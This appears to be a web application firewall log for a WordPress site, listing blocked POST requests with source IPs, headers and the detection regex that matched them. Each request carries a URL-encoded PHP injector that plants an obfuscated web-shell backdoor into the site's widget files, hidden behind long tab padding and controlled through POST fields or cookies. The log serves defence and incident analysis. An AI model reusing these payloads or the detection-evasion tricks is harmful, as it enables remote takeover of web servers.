0function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:56:36","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%2520function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvox8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5251\n\nnO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%2520function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:57:07","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL0VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3229\n\ncB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:57:10","52.232.35.131","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> MG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGHpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3229\n\nMG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:57:13","69.167.165.138","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 